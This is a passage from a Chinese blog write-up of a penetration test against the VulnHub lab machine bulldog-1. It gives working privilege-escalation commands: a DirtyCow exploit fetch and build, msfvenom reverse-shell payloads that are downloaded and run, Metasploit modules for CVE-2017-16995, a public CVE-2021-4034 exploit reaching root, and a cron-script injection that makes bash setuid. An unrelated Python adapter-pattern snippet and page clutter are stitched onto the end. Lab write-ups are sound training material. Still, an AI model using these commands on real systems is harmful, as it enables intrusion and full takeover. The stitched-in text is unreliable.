Vulnhub靶场渗透测试 bulldog-1 非预期CVE-2017-16995,CVE-2021-4034

Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权)
靶机地址:https://www.vulnhub.com/entry/bulldog-1%2C211/
 
脏牛提权失败(在2016年公布的漏洞,ubuntu16.04 可能补上了 )
 

测试Linux是否有DirtyCow漏洞
https://blog.csdn.net/lee_ham/article/details/82048681


curl -4LO https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c


gcc -static -pthread dirtyc0w.c -o dirtyc0w.s





root@bulldog:/tmp# su - django
-su-4.3$ id
uid=1001(django) gid=1001(django) groups=1001(django),27(sudo)
-su-4.3$ cd /tmp/
-su-4.3$ 
-su-4.3$ ./dirtyc0w.s foo m00000000000000000
mmap f77e3000

madvise 0

procselfmem -100000000

-su-4.3$ cat foo
this is not a test
-su-4.3$ 


CVE-2017-16995提权成功
 
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.111.130 -a x86 -e x86/shikata_ga_nai --platform linux LPORT=4443 -f elf > x86.elf;
 
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.111.130 -a x64 -e  x64/xor  --platform linux LPORT=4444 -f elf > x64.elf;
 
 
 
wget 192.168.111.130/x86.elf;chmod 0777 x86.elf;./x86.elf&
wget 192.168.111.130/x64.elf;chmod 0777 x64.elf;./x64.elf&
 
 
msfconsole
handler -H 192.168.111.130 -P 4443 -p linux/x86/meterpreter/reverse_tcp
handler -H 192.168.111.130 -P 4444 -p linux/x64/meterpreter/reverse_tcp
 

 
set PAYLOAD linux/x86/meterpreter/reverse_tcp
use exploit/linux/local/bpf_sign_extension_priv_esc
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.111.130
set LPORT 4445
set session 7
run



CVE-2021-4034 提权成功
 
msf6 > info exploit/linux/local/pkexec  #  利用失败(x86  x64  都失败)
 
 
 
cd /tmp;
wget -4O CVE-2021-4034.tar.gz  https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.tar.gz
tar -zxvf  CVE-2021-4034.tar.gz;
cd CVE-2021-4034-main;ll;env;make;
 
 
 
ubuntu@ubuntu:/tmp/CVE-2021-4034-main$ make
 
 
 
django@bulldog:/tmp$ ./cve-2021-4034
# id
uid=0(root) gid=0(root) groups=0(root),27(sudo),1001(django)
#/usr/bin/pkexec   --version
pkexec version 0.105


cron计划任务:

django@bulldog:/etc/cron.d$ ll
total 24
drwxr-xr-x  2 root root 4096 Aug 25  2017 ./
drwxr-xr-x 96 root root 4096 Jun 30 07:23 ../
-rw-r--r--  1 root root  102 Apr  5  2016 .placeholder
-rw-r--r--  1 root root  589 Jul 16  2014 mdadm
-rw-r--r--  1 root root  191 Aug 24  2017 popularity-contest
-rw-r--r--  1 root root   54 Aug 25  2017 runAV
django@bulldog:/etc/cron.d$ cat runAV 
*/1 * * * * root /.hiddenAVDirectory/AVApplication.py
django@bulldog:/etc/cron.d$ 
 
 
 
ls -al /.hiddenAVDirectory/AVApplication.py;
cat /.hiddenAVDirectory/AVApplication.py;
 
 
 
echo "import os;os.system('touch /tmp/12345;chmod u+s /bin/bash');">>/.hiddenAVDirectory/AVApplication.py;
 
 
 
django@bulldog:/tmp$ id
uid=1001(django) gid=1001(django) groups=1001(django),27(sudo)
django@bulldog:/tmp$ bash -p
bash-4.3# id
uid=1001(django) gid=1001(django) euid=0(root) groups=1001(django),27(sudo)
bash-4.3# ls -al /bin/bash
-rwsr-xr-x 1 root root 1037528 May 16  2017 /bin/bash
bash-4.3#

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以下是双向适配器类图和实现代码: ![adapter-pattern](https://user-images.githubusercontent.com/45758449/116464798-0e07c280-a89d-11eb-8b3e-7c3a88b9c7d9.png) ```python # Target interface class Cat: def catch_mice(self) -> str: pass # Adaptee interface class Dog: def bark(self) -> str: pass # Adaptee class Bulldog(Dog): def bark(self) -> str: return "Woof! Woof!" # Adapter class DogAdapter(Cat): def __init__(self, dog: Dog): self.dog = dog def catch_mice(self) -> str: return self.dog.bark() # Client code if __name__ == "__main__": bulldog = Bulldog() cat = Cat() adapter = DogAdapter(bulldog) print(adapter.catch_mice()) # Output: Woof! Woof! ``` 在上面的代码中,我们有一个Target接口 `Cat`,它定义了一个`catch_mice()`方法,表示猫抓老鼠。我们还有一个Adaptee接口`Dog`,它定义了一个`bark()`方法,表示狗叫。`Bulldog`是`Dog`接口的一个具体实现。 现在我们需要一个适配器类`DogAdapter`来使得猫可以学狗叫。它实现了`Cat`接口,并将`Dog`对象作为适配器构造函数的参数。在`catch_mice()`方法中,它调用`Dog`对象的`bark()`方法来模拟狗叫声。 在客户端代码中,我们创建了一个`Bulldog`对象和一个`Cat`对象。然后我们创建了一个`DogAdapter`对象,并将`Bulldog`对象传递给它。最后,我们通过适配器对象调用`catch_mice()`方法,并输出适配的结果。 这就是双向适配器模式的一个简单实现。当然,你可以根据自己的需求和场景来进行改进和扩展。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值